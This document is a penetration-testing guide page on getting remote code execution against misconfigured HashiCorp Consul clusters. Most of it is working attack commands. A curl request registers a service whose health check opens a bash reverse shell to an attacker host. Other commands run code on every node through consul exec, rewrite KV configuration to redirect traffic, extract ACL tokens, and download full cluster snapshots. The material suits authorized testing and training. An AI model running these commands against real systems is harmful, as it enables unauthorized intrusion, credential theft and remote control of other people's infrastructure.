# Consul RCE

> Exploiting HashiCorp Consul misconfigurations to achieve Remote Code Execution via the HTTP API, service registration endpoints, and exec functionality.

- **URL:** https://hackindex.io/services/consul/exploitation/consul-rce
- **Path:** Consul > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/consul/exploitation.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

Consul without ACLs (or with a permissive anonymous policy) allows registering services with health checks that execute arbitrary commands. The exec API (if enabled) provides direct command execution across cluster nodes. Confirm unauthenticated access through [Consul enumeration](https://hackindex.io/services/consul/enumeration/consul-enumeration) first.

## RCE via Service Registration

Register a service with a health check script. Consul executes the script at the defined interval to check service health. This is the most reliable RCE method.

**Register a service with a reverse shell health check**

```bash
curl -s -X PUT http://$TARGET_IP:8500/v1/agent/service/register \
  -H 'Content-Type: application/json' \
  -d '{
    "ID": "rce-test",
    "Name": "rce-test",
    "Address": "127.0.0.1",
    "Port": 80,
    "check": {
      "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"],
      "Interval": "10s",
      "Timeout": "5s"
    }
  }'
```

> [!WARNING]
> Health check scripts require `enable_script_checks = true` in the Consul agent configuration. This is disabled by default since Consul 1.0 but still common in older deployments and development environments.

**Deregister the service (cleanup)**

```bash
curl -s -X PUT http://$TARGET_IP:8500/v1/agent/service/deregister/rce-test
```

## RCE via Exec API

The `/v1/agent/exec` API (deprecated but still available when `disable_remote_exec = false`) executes a command on all cluster nodes simultaneously.

```bash
consul exec -node '*' 'id'
# consul-server-01:
# uid=100(consul) gid=1000(consul) groups=1000(consul)
#
# consul-client-01:
# uid=100(consul) gid=1000(consul) groups=1000(consul)
```

## KV Store Manipulation

With write access to the KV store, modify application configuration to inject backdoors or redirect traffic.

**Write a key to the KV store**

```bash
curl -s -X PUT http://$TARGET_IP:8500/v1/kv/config/database/host -d '$LHOST'
# true
```

## ACL Token Extraction

If the current access level allows reading ACL tokens, extract them for elevated access.

```bash
curl -s http://$TARGET_IP:8500/v1/acl/tokens | python3 -m json.tool
```

## Snapshot for Offline Analysis

A Consul snapshot contains the entire cluster state: KV data, ACL tokens, service registrations, and configuration.

```bash
curl -s http://$TARGET_IP:8500/v1/snapshot -o consul-snapshot.snap
```

## References

- [Consul: Service Registration API](https://developer.hashicorp.com/consul/api-docs/agent/service) - Official docs on service registration with health checks.
- [Consul: Security Model](https://www.consul.io/docs/security) - ACL system, encryption, and access control documentation.
- [HackTricks: 8500 Pentesting Consul](https://hacktricks.wiki/en/network-services-pentesting/8500-pentesting-consul.html) - Consul RCE via health checks and exec API.